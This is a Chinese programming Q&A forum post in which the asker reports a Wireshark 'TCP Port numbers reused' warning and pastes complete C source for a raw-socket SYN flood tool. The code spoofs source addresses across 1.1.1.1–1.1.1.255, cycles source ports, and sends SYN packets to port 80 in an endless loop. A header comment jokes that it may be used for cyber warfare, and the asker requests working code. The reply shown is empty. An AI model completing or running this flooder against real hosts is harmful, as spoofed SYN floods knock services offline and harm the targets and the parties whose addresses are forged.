v92223 2016-08-23 12:37 采纳率: 0%
浏览 8914
已结题

SYN 发包用Wireshark抓包,前面数据正常后面显示TCP端口重复

伪造端口1-65535 伪造IP 1.1.1.1 - 1.1.1.255 端口循环完1-65535后再发包就出现这个[TCP Port numbers reused] 。 求解 求代码。谢谢拉

图片说明图片说明

代码如下

 /*
    This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
*/
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <pthread.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netdb.h>
#include <net/if.h>
#include <arpa/inet.h>
  struct send_tcp {
            struct iphdr ip;
            struct tcphdr tcp;
            char buf[20];
    };
      struct pseudo_header {
            unsigned int source_address;
            unsigned int dest_address;
            unsigned char placeholder;
            unsigned char protocol;
            unsigned short tcp_length;
            struct tcphdr tcp;
            char buf[20];
    };

    u_short in_cksum(u_short *addr, int len) {
            register int nleft = len;
            register u_short *w = addr;
            register int sum = 0;
            u_short answer =0;
            while (nleft > 1) {
                    sum += *w++;
                    nleft -= 2;
            }
            if (nleft == 1) {
                    *(u_char *)(&answer) = *(u_char *)w;
                    sum += answer;
            }
            sum = (sum >> 16) + (sum & 0xffff);
            sum += (sum >> 16);
            answer = ~sum;
            return(answer);
    }

void pan(char* ip ) {
            struct send_tcp send_tcp;
            struct pseudo_header pseudo_header;
            struct sockaddr_in sin;
            unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 };
            unsigned int psize=20, source, dest, check;
            unsigned long saddr, daddr;
            int get;



            if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
            exit(1);
            {int i; for(i=0;i<20;i++)
            send_tcp.buf[i]=(u_char)syn[i];}

            daddr=inet_addr( ip);


            send_tcp.ip.ihl = 5;
            send_tcp.ip.version = 4;
            send_tcp.ip.tos = 16;
            send_tcp.ip.frag_off = 64;
            send_tcp.ip.ttl = 64;
            send_tcp.ip.protocol = 6;
            send_tcp.tcp.ack_seq = 0;
            send_tcp.tcp.doff = 10;
            send_tcp.tcp.res1 = 0;
//            send_tcp.tcp.cwr = 0;
      //      send_tcp.tcp.ece = 0;
            send_tcp.tcp.urg = 0;
            send_tcp.tcp.ack = 0;
            send_tcp.tcp.psh = 0;
            send_tcp.tcp.rst = 0;
            send_tcp.tcp.fin = 0;
            send_tcp.tcp.syn = 1;
            send_tcp.tcp.window = 30845;
            send_tcp.tcp.urg_ptr = 0;
            dest= 80;
            source = 1;
            unsigned long ip1 = ntohl(inet_addr("1.1.1.1"));
            unsigned long ip2 = ntohl(inet_addr("1.1.1.255"));
                            saddr= ip1;

            while(1) {


                    send_tcp.ip.tot_len = htons(40+psize);
                    send_tcp.ip.id = rand();
                    send_tcp.ip.saddr = htonl(saddr);

                    saddr++;
                    if( saddr > ip2)
                    saddr = ip1;
                    send_tcp.ip.daddr = daddr;
                    send_tcp.ip.check = 0;
                    send_tcp.tcp.source = htons(source);
                    source++;
                    if( source >65535)
                    source = 1;
                    send_tcp.tcp.dest = htons(dest);
                    send_tcp.tcp.seq = rand();
                    send_tcp.tcp.check = 0;
                    sin.sin_family = AF_INET;
                    sin.sin_port = dest;
                    sin.sin_addr.s_addr = send_tcp.ip.daddr;
                    send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
                    check = rand();
                    send_tcp.buf[9]=((char*)&check)[0];
                    send_tcp.buf[10]=((char*)&check)[1];
                    send_tcp.buf[11]=((char*)&check)[2];
                    send_tcp.buf[12]=((char*)&check)[3];
                    pseudo_header.source_address = send_tcp.ip.saddr;
                    pseudo_header.dest_address = send_tcp.ip.daddr;
                    pseudo_header.placeholder = 0;
                    pseudo_header.protocol = IPPROTO_TCP;
                    pseudo_header.tcp_length = htons(20+psize);
                    bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
                    bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
                    send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
                    sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));

            }
            close(get);
            exit(0);
    }

int main(int argc, char *argv[ ])
{

pan("1.1.1.1");
    return 0;
}

  • 写回答

2条回答 默认 最新

  • devmiao 2016-08-23 15:30
    关注
    评论

报告相同问题?

悬赏问题

  • ¥15 执行 virtuoso 命令后,界面没有,cadence 启动不起来
  • ¥50 comfyui下连接animatediff节点生成视频质量非常差的原因
  • ¥20 有关区间dp的问题求解
  • ¥15 多电路系统共用电源的串扰问题
  • ¥15 slam rangenet++配置
  • ¥15 有没有研究水声通信方面的帮我改俩matlab代码
  • ¥15 ubuntu子系统密码忘记
  • ¥15 保护模式-系统加载-段寄存器
  • ¥15 电脑桌面设定一个区域禁止鼠标操作
  • ¥15 求NPF226060磁芯的详细资料